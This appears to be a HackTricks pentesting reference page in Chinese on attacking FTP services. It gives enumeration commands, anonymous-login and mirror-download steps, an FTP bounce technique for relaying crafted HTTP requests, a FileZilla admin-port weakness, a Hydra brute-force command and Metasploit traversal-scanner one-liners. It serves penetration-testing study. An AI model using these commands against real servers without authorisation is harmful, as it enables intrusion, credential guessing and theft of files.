21 - Pentesting FTP

Support HackTricks

基本信息

文件传输协议 (FTP) 是一个标准协议,用于在计算机网络中在服务器和客户端之间传输文件。 它是一个明文协议,使用换行符 0x0d 0x0a,因此有时需要使用 telnetnc -C 进行连接。

默认端口: 21

PORT   STATE SERVICE
21/tcp open  ftp

连接主动与被动

主动 FTP 中,FTP 客户端首先从其端口 N 向 FTP 服务器的命令端口 - 端口 21 发起控制 连接。然后,客户端监听端口 N+1 并将端口 N+1 发送给 FTP 服务器。FTP 服务器随后从 其端口 M 到 FTP 客户端的端口 N+1 发起数据 连接

但是,如果 FTP 客户端设置了防火墙以控制来自外部的传入数据连接,则主动 FTP 可能会成为一个问题。对此的可行解决方案是被动 FTP。

被动 FTP 中,客户端从其端口 N 向 FTP 服务器的端口 21 发起控制连接。之后,客户端发出 passv 命令。服务器随后将其端口号 M 发送给客户端。然后,客户端其端口 P 到 FTP 服务器的端口 M 发起数据 连接

来源: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/

连接调试

FTP 命令 debugtrace 可用于查看 通信是如何发生的

枚举

横幅抓取

nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any

使用 starttls 连接到 FTP

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password

Unauth enum

使用 nmap

sudo nmap -sV -p21 -sC -A 10.10.10.10

您可以使用命令 HELPFEAT 来获取 FTP 服务器的一些信息:

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
214-NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@drei.work

FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End

STAT
#Info about the FTP server (version, configs, status...)

匿名登录

anonymous : anonymous anonymous : ftp : ftp

ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit

在这里你可以找到一个包含默认ftp凭据的好列表: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

自动化

匿名登录和跳转FTP检查是通过nmap的**-sC**选项默认执行的:

nmap --script ftp-* -p 21 <ip>

浏览器连接

您可以使用浏览器(如 Firefox)通过以下 URL 连接到 FTP 服务器:

ftp://anonymous:anonymous@10.10.10.98

注意,如果一个 web 应用程序 正在将用户控制的数据 直接发送到 FTP 服务器,您可以发送双重 URL 编码 %0d%0a(在双重 URL 编码中为 %250d%250a)字节,并使 FTP 服务器执行任意操作。其中一个可能的任意操作是从用户控制的服务器下载内容,执行端口扫描或尝试与其他基于明文的服务(如 http)进行通信。

从 FTP 下载所有文件

wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

如果您的用户名/密码包含特殊字符,可以使用以下命令

wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

一些 FTP 命令

  • USER username

  • PASS password

  • HELP 服务器指示支持哪些命令

  • PORT 127,0,0,1,0,80 这将指示 FTP 服务器在端口 80 与 IP 127.0.0.1 建立连接(你需要将第 5 个字符设置为 "0",第 6 个字符设置为十进制端口,或者使用第 5 和第 6 个字符以十六进制表示端口)。

  • EPRT |2|127.0.0.1|80| 这将指示 FTP 服务器在端口 80 与 IP 127.0.0.1 建立 TCP 连接(由 "2" 指示)。此命令 支持 IPv6

  • LIST 这将发送当前文件夹中的文件列表

  • LIST -R 递归列出(如果服务器允许)

  • APPE /path/something.txt 这将指示 FTP 将从 被动 连接或 PORT/EPRT 连接接收的数据存储到文件中。如果文件名存在,将附加数据。

  • STOR /path/something.txt 类似于 APPE,但将覆盖文件

  • STOU /path/something.txt 类似于 APPE,但如果存在则不执行任何操作。

  • RETR /path/to/file 必须建立被动或端口连接。然后,FTP 服务器将通过该连接发送指定的文件

  • REST 6 这将指示服务器下次使用 RETR 发送内容时应从第 6 字节开始。

  • TYPE i 设置传输为二进制

  • PASV 这将打开一个被动连接,并指示用户可以连接的位置

  • PUT /tmp/file.txt 将指定文件上传到 FTP

FTP 反弹攻击

一些 FTP 服务器允许使用 PORT 命令。此命令可用于指示服务器你想要连接到其他 FTP 服务器的某个端口。然后,你可以利用此功能扫描主机的哪些端口是开放的。

在这里了解如何滥用 FTP 服务器扫描端口。

你还可以利用这种行为使 FTP 服务器与其他协议交互。你可以 上传一个包含 HTTP 请求的文件,并使易受攻击的 FTP 服务器 将其发送到任意 HTTP 服务器也许是为了添加一个新的管理员用户?)或甚至上传一个 FTP 请求,使易受攻击的 FTP 服务器为另一个 FTP 服务器下载文件。 理论很简单:

  1. 将请求(放在文本文件中)上传到易受攻击的服务器。 记住,如果你想与另一个 HTTP 或 FTP 服务器通信,你需要用 0x0d 0x0a 更改行

  2. 使用 REST X 避免发送你不想发送的字符(也许为了在文件中上传请求,你需要在开头放一些图像头)

  3. 使用 PORT 连接到任意服务器和服务

  4. 使用 RETR 将保存的请求发送到服务器。

很可能这 会抛出一个错误,如 Socket not writable 因为连接持续时间不足以使用 RETR 发送数据。避免这种情况的建议包括:

  • 如果你正在发送 HTTP 请求,将相同的请求一个接一个地放置,直到 ~0.5MB 至少。像这样:

  • 尝试 用与协议相关的 "垃圾" 数据填充请求(与 FTP 交谈时,可能只是垃圾命令或重复 RETR 指令以获取文件)

  • 只需 用大量空字符或其他字符填充请求(分行或不分行)

无论如何,这里有一个 关于如何滥用此功能使 FTP 服务器从不同 FTP 服务器下载文件的旧示例。

Filezilla 服务器漏洞

FileZilla 通常 绑定本地管理服务 用于 FileZilla-Server(端口 14147)。如果你可以从 你的机器 创建一个 隧道 以访问此端口,你可以 使用空密码连接为 FTP 服务创建 一个 新用户

配置文件

ftpusers
ftp.conf
proftpd.conf
vsftpd.conf

Post-Exploitation

vsFTPd 的默认配置可以在 /etc/vsftpd.conf 中找到。在这里,你可以找到一些危险的设置:

  • anonymous_enable=YES

  • anon_upload_enable=YES

  • anon_mkdir_write_enable=YES

  • anon_root=/home/username/ftp - 匿名用户的目录。

  • chown_uploads=YES - 更改匿名上传文件的所有权

  • chown_username=username - 被赋予匿名上传文件所有权的用户

  • local_enable=YES - 允许本地用户登录

  • no_anon_password=YES - 不要求匿名用户输入密码

  • write_enable=YES - 允许命令:STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, 和 SITE

Shodan

  • ftp

  • port:21

HackTricks Automatic Commands

Protocol_Name: FTP    #Protocol Abbreviation if there is one.
Port_Number:  21     #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi     <<< so that your put is done via binary

wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files

wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled

https://book.hacktricks.xyz/pentesting/pentesting-ftp

Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21

Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp

Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}

Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}

Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp

Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
支持 HackTricks

Last updated